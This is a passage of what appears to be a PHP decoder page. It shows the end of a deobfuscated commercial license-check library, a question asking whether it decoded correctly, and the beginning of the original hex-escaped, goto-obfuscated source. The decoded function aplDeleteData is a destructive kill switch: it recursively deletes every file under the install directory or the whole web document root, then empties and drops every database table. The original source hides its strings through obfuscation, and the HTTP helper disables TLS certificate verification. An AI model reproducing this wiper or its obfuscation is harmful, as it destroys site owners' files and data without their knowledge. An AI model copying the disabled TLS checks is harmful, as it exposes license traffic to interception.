    if ($update_lcd_value == 1) { 
        goto e5iNN; 
    } 
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    goto B0vy1; 
    e5iNN: 
    $LCD = date("Y-m-d"); 
    B0vy1: 
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); 
    $LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto QpPm1; 
    } 
    $stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?"); 
    if (!$stmt) { 
        goto lJr0r; 
    } 
    mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY); 
    $exec = mysqli_stmt_execute($stmt); 
    $affected_rows = mysqli_stmt_affected_rows($stmt); 
    if (!($affected_rows > 0)) { 
        goto mFCIe; 
    } 
    $updated_records = $updated_records + $affected_rows; 
    mFCIe: 
    mysqli_stmt_close($stmt); 
    lJr0r: 
    if (!($updated_records < 1)) { 
        goto GyCue; 
    } 
    echo APL_NOTIFICATION_DATABASE_WRITE_ERROR; 
    exit; 
    GyCue: QpPm1: 
    if (!(APL_STORAGE == "FILE")) { 
        goto V96Rx; 
    } 
    $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); 
    $fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"); 
    if (!($fwrite === false)) { 
        goto rqPMj; 
    } 
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
    exit; 
    rqPMj: 
    @fclose($handle); 
    V96Rx: KYrcO: JjPAp: YcT2t: 
    if (!($notifications_array["notification_case"] != "notification_license_ok")) { 
        goto Hv2E8; 
    } 
    echo "<br/><br/>"; 
    echo "License is not" . " installed yet" . " or corrupted. Please" . " contact" . " support " . "team "; 
    echo " <a href="" . route("admin.setting.license.update") . "">" . trans("app.update_app_license") . "</a>"; 
    exit; 
    Hv2E8: 
    return $notifications_array; 
} 
 
function aplVerifySupport($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto lVsnz; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto rR9mt; 
    lVsnz: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto LHo_1; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto FChvP; 
    LHo_1: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_support.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    FChvP: rR9mt: 
    return $notifications_array; 
} 
 
function aplVerifyUpdates($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto V7H92; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto EwUSu; 
    V7H92: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto GVshV; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto nGmSd; 
    GVshV: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    nGmSd: EwUSu: 
    return $notifications_array; 
} 
 
function incevioUpdateLicense($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto g0VRV; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto WnsNf; 
    g0VRV: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto GEALH; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto u2Onc; 
    GEALH: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_update.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    u2Onc: WnsNf: 
    return $notifications_array; 
} 
 
function incevioUninstallLicense($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto kX_Br; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto JcVqO; 
    kX_Br: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto udHKL; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto gU2cT; 
    udHKL: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!($notifications_array["notification_case"] == "notification_license_ok")) { 
        goto reaY2; 
    } 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto VGNIv; 
    } 
    mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE); 
    mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE); 
    VGNIv: 
    if (!(APL_STORAGE == "FILE")) { 
        goto V5xNP; 
    } 
    $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); 
    @fclose($handle); 
    V5xNP: reaY2: gU2cT: JcVqO: 
    return $notifications_array; 
} 
 
function aplDeleteData($MYSQLI_LINK = null) 
{ 
    if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) { 
        goto qkJUW; 
    } 
    $root_directory = dirname(__DIR__); 
    goto xNtUB; 
    qkJUW: 
    $root_directory = $_SERVER["DOCUMENT_ROOT"]; 
    xNtUB: 
    foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { 
        $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
        WEEwQ: 
    } 
    BTmhP: 
    rmdir($root_directory); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto peh9Q; 
    } 
    $database_tables_array = array(); 
    $table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES"); 
    yxdEI: 
    if (!($table_list_row = mysqli_fetch_row($table_list_results))) { 
        goto IpIOv; 
    } 
    $database_tables_array[] = $table_list_row[0]; 
    goto yxdEI; 
    IpIOv: 
    if (empty($database_tables_array)) { 
        goto qouGU; 
    } 
    foreach ($database_tables_array as $table_name) { 
        mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}"); 
        vynLy: 
    } 
    Aiu6g: 
    foreach ($database_tables_array as $table_name) { 
        mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}"); 
        DB6Bz: 
    } 
    IYgH0: qouGU: peh9Q: 
    exit; 
} ?>

Did this file decode correctly?

Original Code

<?php
/*
* Copyright (C) Incevio Systems, Inc - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Munna Khan <[email protected]>, September 2018
*/
function aplCustomEncrypt($string, $key)
{
    $encrypted_string = null;
    if (!(!empty($string) && !empty($key))) {
        goto b3SSz;
    }
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("\141\145\163\55\62\x35\x36\55\143\x62\143"));
    $encrypted_string = openssl_encrypt($string, "\x61\145\163\x2d\62\65\x36\x2d\x63\142\143", $key, 0, $iv);
    $encrypted_string = base64_encode($encrypted_string . "\x3a\x3a" . $iv);
    b3SSz:
    return $encrypted_string;
}

function aplCustomDecrypt($string, $key)
{
    $decrypted_string = null;
    if (!(!empty($string) && !empty($key))) {
        goto xYW45;
    }
    $string = base64_decode($string);
    if (!stristr($string, "\72\x3a")) {
        goto xXRiv;
    }
    $string_iv_array = explode("\x3a\x3a", $string, 2);
    if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) {
        goto M6Ad0;
    }
    list($encrypted_string, $iv) = $string_iv_array;
    $decrypted_string = openssl_decrypt($encrypted_string, "\x61\x65\163\55\x32\x35\66\55\x63\x62\x63", $key, 0, $iv);
    M6Ad0: xXRiv: xYW45:
    return $decrypted_string;
}

function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF)
{
    $result = false;
    if (!(!is_float($number) && filter_var($number, FILTER_VALIDATE_INT, array("\x6f\160\164\x69\157\x6e\163" => array("\155\151\x6e\x5f\x72\141\x6e\x67\145" => $min_value, "\x6d\x61\x78\x5f\x72\141\x6e\147\145" => $max_value))) !== false)) {
        goto mmk7x;
    }
    $result = true;
    mmk7x:
    return $result;
}

function aplValidateRawDomain($url)
{
    $result = false;
    if (empty($url)) {
        goto P8hQu;
    }
    if (preg_match("\57\x5e\133\141\55\x7a\x30\x2d\x39\x2d\x2e\x5d\x2b\134\x2e\x5b\141\55\172\x5c\x2e\135\173\62\54\x37\175\x24\x2f", strtolower($url))) {
        goto TjW04;
    }
    $result = false;
    goto IBV6N;
    TjW04:
    $result = true;
    IBV6N: P8hQu:
    return $result;
}

function aplGetCurrentUrl($remove_last_slash = null)
{
    $protocol = "\x68\x74\164\160";
    $host = null;
    $script = null;
    $params = null;
    $current_url = null;
    if (!(isset($_SERVER["\x48\x54\124\120\x53"]) && $_SERVER["\x48\x54\x54\120\x53"] !== "\157\x66\146" || isset($_SERVER["\110\x54\x54\x50\137\x58\137\106\117\x52\127\101\122\x44\x45\104\137\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\124\124\120\x5f\130\x5f\106\117\122\127\101\x52\104\x45\104\137\120\x52\x4f\124\117"] == "\150\x74\x74\160\x73")) {
        goto puGxY;
    }
    $protocol = "\150\x74\x74\x70\163";
    puGxY:
    if (!isset($_SERVER["\x48\124\x54\x50\137\110\117\x53\124"])) {
        goto As70g;
    }
    $host = $_SERVER["\x48\124\x54\120\x5f\x48\x4f\123\x54"];
    As70g:
    if (!isset($_SERVER["\x53\x43\x52\x49\x50\124\x5f\x4e\101\115\105"])) {
        goto eb6Ae;
    }
    $script = $_SERVER["\x53\103\122\x49\x50\124\137\116\101\115\105"];
    eb6Ae:
    if (!isset($_SERVER["\x51\125\x45\x52\x59\x5f\123\x54\122\111\116\107"])) {
        goto NNMTP;
    }
    $params = $_SERVER["\121\x55\105\x52\x59\137\123\x54\122\x49\116\107"];
    NNMTP:
    if (!(!empty($protocol) && !empty($host) && !empty($script))) {
        goto zuG28;
    }
    $current_url = $protocol . "\x3a\57\57" . $host . $script;
    if (empty($params)) {
        goto CNip2;
    }
    $current_url .= "\x3f" . $params;
    CNip2:
    if (!($remove_last_slash == 1)) {
        goto GLR2A;
    }
    TSXz4:
    if (!(substr($current_url, -1) == "\x2f")) {
        goto EO7b_;
    }
    $current_url = substr($current_url, 0, -1);
    goto TSXz4;
    EO7b_: GLR2A: zuG28:
    return $current_url;
}

function aplGetRawDomain($url)
{
    $raw_domain = null;
    if (empty($url)) {
        goto geFnG;
    }
    $url_array = parse_url($url);
    if (!empty($url_array["\x73\x63\x68\x65\x6d\x65"])) {
        goto wZSHN;
    }
    $url = "\150\x74\x74\160\x3a\x2f\x2f" . $url;
    $url_array = parse_url($url);
    wZSHN:
    if (empty($url_array["\150\x6f\163\164"])) {
        goto nTZlx;
    }
    $raw_domain = $url_array["\x68\x6f\x73\x74"];
    $raw_domain = trim(str_ireplace("\167\167\167\56", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
    nTZlx: geFnG:
    return $raw_domain;
}

function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)
{
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        goto sZJ8r;
    }
    $url_array = parse_url($url);
    $url = str_ireplace($url_array["\x73\x63\150\x65\155\145"] . "\72\x2f\x2f", '', $url);
    if ($remove_path == 1) {
        goto SI7WK;
    }
    $last_slash_position = strripos($url, "\57");
    if (!($last_slash_position > 0)) {
        goto NX0fY;
    }
    $url = substr($url, 0, $last_slash_position + 1);
    NX0fY:
    goto GilT_;
    SI7WK:
    $first_slash_position = stripos($url, "\57");
    if (!($first_slash_position > 0)) {
        goto v2XxD;
    }
    $url = substr($url, 0, $first_slash_position + 1);
    v2XxD: GilT_:
    if (!($remove_scheme != 1)) {
        goto oVGHB;
    }
    $url = $url_array["\x73\x63\150\x65\155\145"] . "\72\57\x2f" . $url;
    oVGHB:
    if (!($remove_www == 1)) {
        goto zO_61;
    }
    $url = str_ireplace("\x77\167\x77\x2e", '', $url);
    zO_61:
    if (!($remove_last_slash == 1)) {
        goto o7Xq0;
    }
    p5NeF:
    if (!(substr($url, -1) == "\x2f")) {
        goto JI1gI;
    }
    $url = substr($url, 0, -1);
    goto p5NeF;
    JI1gI: o7Xq0: sZJ8r:
    return trim($url);
}

function aplCustomPost($url, $post_info = null, $refer = null)
{
    $user_agent = "phpmillion cURL";
    $connect_timeout = 10;
    $server_response_array = array();
    $formatted_headers_array = array();
    if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) {
        goto yiKwz;
    }
    if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) {
        goto n3xni;
    }
    $refer = $url;
    n3xni:
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
    curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
    curl_setopt($ch, CURLOPT_REFERER, $refer);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (&$formatted_headers_array) {
        $len = strlen($header);
        $header = explode("\x3a", $header, 2);
        if (!(count($header) < 2)) {
            goto InXEf;
        }
        return $len;
        InXEf:
        $name = strtolower(trim($header[0]));
        $formatted_headers_array[$name] = trim($header[1]);
        return $len;
    });
    $result = curl_exec($ch);
    $curl_error = curl_error($ch);
    curl_close($ch);
    $server_response_array["headers"] = $formatted_headers_array;
    $server_response_array["error"] = $curl_error;
    $server_response_array["body"] = $result;
    yiKwz:
    return $server_response_array;
}

function aplVerifyDateTime($datetime, $format)
{
    $result = false;
    if (!(!empty($datetime) && !empty($format))) {
        goto Xrn8g;
    }
    $datetime = DateTime::createFromFormat($format, $datetime);
    $errors = DateTime::getLastErrors();
    if (!($datetime && empty($errors["\167\x61\162\156\151\156\x67\137\x63\157\165\156\x74"]))) {
        goto vh2yA;
    }
    $result = true;
    vh2yA: Xrn8g:
    return $result;
}

function aplGetDaysBetweenDates($date_from, $date_to)
{
    $number_of_days = 0;
    if (!(aplVerifyDateTime($date_from, "\131\55\x6d\x2d\144") && aplVerifyDateTime($date_to, "\x59\55\155\x2d\x64"))) {
        goto jwnpz;
    }
    $date_to = new DateTime($date_to);
    $date_from = new DateTime($date_from);
    $number_of_days = $date_from->diff($date_to)->format("\x25\141");
    jwnpz:
    return $number_of_days;
}

function aplParseXmlTags($content, $tag_name)
{
    $parsed_value = null;
    if (!(!empty($content) && !empty($tag_name))) {
        goto ghFzN;
    }
    preg_match_all("\x2f\x3c" . preg_quote($tag_name, "\x2f") . "\x3e\50\x2e\52\x3f\x29\x3c\134\x2f" . preg_quote($tag_name, "\57") . "\x3e\x2f\151\x6d\x73", $content, $output_array, PREG_SET_ORDER);
    if (empty($output_array[0][1])) {
        goto VQUEk;
    }
    $parsed_value = trim($output_array[0][1]);
    VQUEk: ghFzN:
    return $parsed_value;
}

function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
    $notifications_array = array();
    if (!empty($content_array)) {
        goto jWG5I;
    }
    $notifications_array["\x6e\x6f\164\x69\x66\x69\x63\141\x74\151\x6f\x6e\137\143\141\163\x65"] = "\x6e\x6f\x74\151\x66\x69\x63\x61\164\151\157\x6e\x5f\156\x6f\x5f\x63\x6f\156\x6e\x65\x63\x74\151\157\x6e";
    $notifications_array["\156\x6f\164\151\146\x69\143\141\164\x69\157\156\x5f\x74\x65\x78\164"] = APL_NOTIFICATION_NO_CONNECTION;
    goto kx8yv;
    jWG5I:
    if (!empty($content_array["\x68\145\x61\x64\145\162\163"]["\x6e\157\164\x69\146\151\x63\x61\164\x69\x6f\x6e\137\163\x65\x72\x76\x65\162\x5f\163\x69\x67\x6e\x61\164\x75\162\x65"]) && aplVerifyServerSignature($content_array["\x68\x65\141\144\145\x72\x73"]["\156\x6f\x74\x69\x66\151\143\141\164\x69\157\156\137\x73\145\x72\x76\145\162\137\x73\151\147\156\x61\164\165\x72\145"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product)) {
        goto W1W2r;
    }
    $notifications_array["\x6e\x6f\164\151\146\x69\143\x61\164\x69\x6f\x6e\x5f\x63\141\163\x65"] = "\156\x6f\x74\151\146\x69\x63\x61\x74\151\x6f\156\x5f\151\x6e\166\141\154\151\x64\x5f\x72\145\163\160\x6f\156\163\145";
    $notifications_array["\x6e\x6f\164\x69\x66\x69\x63\141\164\151\x6f\x6e\x5f\164\145\170\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
    goto qItdK;
    W1W2r:
    $notifications_array["\x6e\x6f\x74\x69\x66\151\x63\x61\164\151\157\x6e\x5f\x63\141\x73\x65"] = $content_array["\150\145\x61\x64\x65\x72\163"]["\x6e\x6f\x74\151\x66\x69\143\141\164\x69\157\x6e\x5f\x63\141\x73\x65"];
    $notifications_array["\156\x6f\164\x69\146\151\143\x61\164\151\x6f\156\137\x74\145\x78\x74"] = $content_array["\x68\x65\141\x64\x65\x72\163"]["\x6e\157\164\x69\146\151\143\x61\164\x69\157\156\137\x74\145\x78\164"];
    if (empty($content_array["\150\x65\x61\144\x65\162\x73"]["\x6e\157\164\151\146\x69\143\x61\x74\x69\157\156\x5f\x64\x61\164\x61"])) {
        goto kWgYU;
    }
    $notifications_array["\x6e\x6f\164\151\146\151\143\141\x74\151\x6f\x6e\x5f\144\141\164\x61"] = json_decode($content_array["\150\x65\x61\144\145\x72\163"]["\x6e\157\164\151\x66\151\x63\141\x74\151\x6f\x6e\137\144\141\164\x61"], true);
    kWgYU: qItdK: kx8yv:
    return $notifications_array;
}

function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
    $script_signature = null;
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
    $product = $product == Null ? APL_PRODUCT_ID : $product;
    if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
        goto zqM1S;
    }
    $script_signature = hash("\163\x68\x61\x32\65\x36", gmdate("\x59\x2d\x6d\x2d\144") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . $product . implode('', $root_ips_array));
    zqM1S:
    return $script_signature;
}

function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
    $result = false;
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
    $product = $product == Null ? APL_PRODUCT_ID : $product;
    if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
        goto yrboa;
    }
    if (!(hash("\x73\x68\x61\x32\x35\x36", implode('', $root_ips_array) . $product . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("\x59\55\155\55\144")) == $notification_server_signature)) {
        goto e00kT;
    }
    $result = true;
    e00kT: yrboa:
    return $result;
}

function aplCheckSettings()
{
    $notifications_array = array();
    if (!(empty(APL_SALT) || APL_SALT == "\x73\x6f\155\145\x5f\162\x61\156\x64\x6f\x6d\137\164\x65\170\x74")) {
        goto pNmUL;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
    pNmUL:
    if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) {
        goto k_sUj;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
    k_sUj:
    if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) {
        goto wT1OW;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
    wT1OW:
    if (aplValidateIntegerValue(APL_DAYS, 1, 365)) {
        goto taNOM;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
    taNOM:
    if (!(APL_STORAGE != "\x44\x41\124\101\x42\x41\x53\105" && APL_STORAGE != "\x46\x49\114\105")) {
        goto yMAyE;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
    yMAyE:
    if (!(APL_STORAGE == "\104\101\x54\x41\102\101\123\105" && !ctype_alnum(str_ireplace(array("\x5f"), '', APL_DATABASE_TABLE)))) {
        goto UXje9;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
    UXje9:
    if (!(APL_STORAGE == "\x46\111\114\x45" && !@is_writable(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION))) {
        goto OmXFW;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
    OmXFW:
    if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) {
        goto Dp916;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
    Dp916:
    if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) {
        goto ZU5XS;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
    ZU5XS:
    if (!(defined("\x41\x50\x4c\137\x52\x4f\117\x54\x5f\x4e\101\115\105\x53\x45\122\x56\105\x52\x53") && !empty(APL_ROOT_NAMESERVERS))) {
        goto fUu2r;
    }
    foreach (APL_ROOT_NAMESERVERS as $nameserver) {
        if (aplValidateRawDomain($nameserver)) {
            goto M8yz5;
        }
        $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
        goto QkswF;
        M8yz5: gbBZS:
    }
    QkswF: fUu2r:
    if (!(defined("\101\120\x4c\137\122\x4f\117\x54\137\116\x41\x4d\105\123\105\122\x56\x45\122\x53") && !empty(APL_ROOT_NAMESERVERS))) {
        goto HfDjq;
    }
    $apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
    $fetched_nameservers_array = array();
    $dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
    foreach ($dns_records_array as $record) {
        $fetched_nameservers_array[] = $record["\164\141\162\x67\x65\x74"];
        FZ7ow:
    }
    gtQ_B:
    $apl_root_nameservers_array = array_map("\x73\164\x72\x74\x6f\154\x6f\x77\x65\162", $apl_root_nameservers_array);
    $fetched_nameservers_array = array_map("\163\x74\x72\164\157\x6c\x6f\167\145\162", $fetched_nameservers_array);
    sort($apl_root_nameservers_array);
    sort($fetched_nameservers_array);
    if (!($apl_root_nameservers_array != $fetched_nameservers_array)) {
        goto X6HcR;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
    X6HcR: HfDjq:
    return $notifications_array;
}

function aplParseLicenseFile()
{
    $license_data_array = array();
    if (!@is_readable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION)) {
        goto WkhLG;
    }
    $file_content = file_get_contents(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION);
    preg_match_all("\57\x3c\x28\x5b\x41\55\x5a\x5f\x5d\53\51\76\50\56\x2a\x3f\51\x3c\x5c\57\x28\x5b\101\55\x5a\x5f\x5d\53\51\x3e\x2f", $file_content, $matches, PREG_SET_ORDER);
    if (empty($matches)) {
        goto T3SuO;
    }
    foreach ($matches as $value) {
        if (!(!empty($value[1]) && $value[1] == $value[3])) {
            goto nBiMw;
        }
        $license_data_array[$value[1]] = $value[2];
        nBiMw: yWthR:
    }
    f4yDN: T3SuO: WkhLG:
    return $license_data_array;
}

function aplGetLicenseData($MYSQLI_LINK = null)
{
    $settings_row = array();
    if (!(APL_STORAGE == "\104\101\124\101\x42\101\x53\x45")) {
        goto QTWTj;
    }
    $table_exist = @mysqli_query($MYSQLI_LINK, "\x53\x48\117\x57\x20\x54\x41\x42\114\x45\123\40\114\111\113\105\x20\47" . APL_DATABASE_TABLE . "\x27");
    if (!@mysqli_fetch_assoc($table_exist)) {
        goto iJmmo;
    }
    $settings_results = @mysqli_query($MYSQLI_LINK, "\x53\x45\x4c\x45\103\124\x20\52\x20\x46\x52\117\115\x20" . APL_DATABASE_TABLE);
    $settings_row = @mysqli_fetch_assoc($settings_results);
    iJmmo: QTWTj:
    if (!(APL_STORAGE == "\106\111\114\105")) {
        goto Gdqmu;
    }
    $settings_row = aplParseLicenseFile();
    Gdqmu:
    return $settings_row;
}

function aplCheckConnection()
{
    $notifications_array = array();
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\x6c\137\x63\x61\x6c\x6c\x62\141\x63\153\163\57\x63\x6f\x6e\x6e\145\x63\164\151\x6f\x6e\x5f\164\145\x73\x74\56\x70\x68\x70", "\160\162\157\144\165\x63\x74\137\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\46\x63\x6f\156\156\145\143\164\151\x6f\x6e\x5f\150\141\x73\x68\75" . rawurlencode(hash("\x73\150\x61\x32\x35\66", "\143\x6f\x6e\x6e\x65\x63\x74\151\157\156\x5f\164\145\x73\x74")));
    if (!empty($content_array)) {
        goto lBmCZ;
    }
    $notifications_array["\156\x6f\x74\151\x66\x69\x63\x61\164\x69\x6f\x6e\137\x63\x61\163\145"] = "\156\157\x74\x69\x66\x69\x63\x61\x74\151\x6f\156\137\x6e\157\x5f\143\157\x6e\x6e\x65\x63\164\151\157\x6e";
